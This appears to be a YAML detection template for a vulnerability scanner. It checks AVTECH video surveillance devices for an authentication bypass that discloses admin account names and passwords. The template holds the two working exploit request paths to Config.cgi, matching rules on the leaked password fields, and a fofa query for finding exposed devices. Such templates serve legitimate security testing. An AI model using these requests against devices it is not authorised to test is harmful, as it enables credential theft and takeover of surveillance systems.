avtech-password-disclosure: AVTECH 视频监控设备认证绕过

id: avtech-password-disclosure

info:
  name: AVTECH 视频监控设备认证绕过
  author: zan8in
  severity: critical
  verified: true
  description: |-
    视频监控设备存在认证绕过漏洞，攻击者可以通过发送特定的GET请求，获取到设备的管理员账号和密码。
    fofa: app="AVTECH-视频监控"
  reference:
    - https://www.seebug.org/vuldb/ssvid-92494
  tags: avtech,dvr,password-disclosure
  created: 2023/06/24

rules:
  r0:
    request:
      method: GET
      path: /cgi-bin/user/Config.cgi?.cab&action=get&category=Account.*
    expression: response.status == 200 && response.body.bcontains(b'Account.Maxuser=') && response.body.bcontains(b'Account.LocalPassword=')
  r1:
    request:
      method: GET
      path: /cgi-bin/user/Config.cgi?/nobody&action=get&category=Account.*
    expression: response.status == 200 && response.body.bcontains(b'Account.Maxuser=') && response.body.bcontains(b'Account.LocalPassword=')
expression: r0() || r1()

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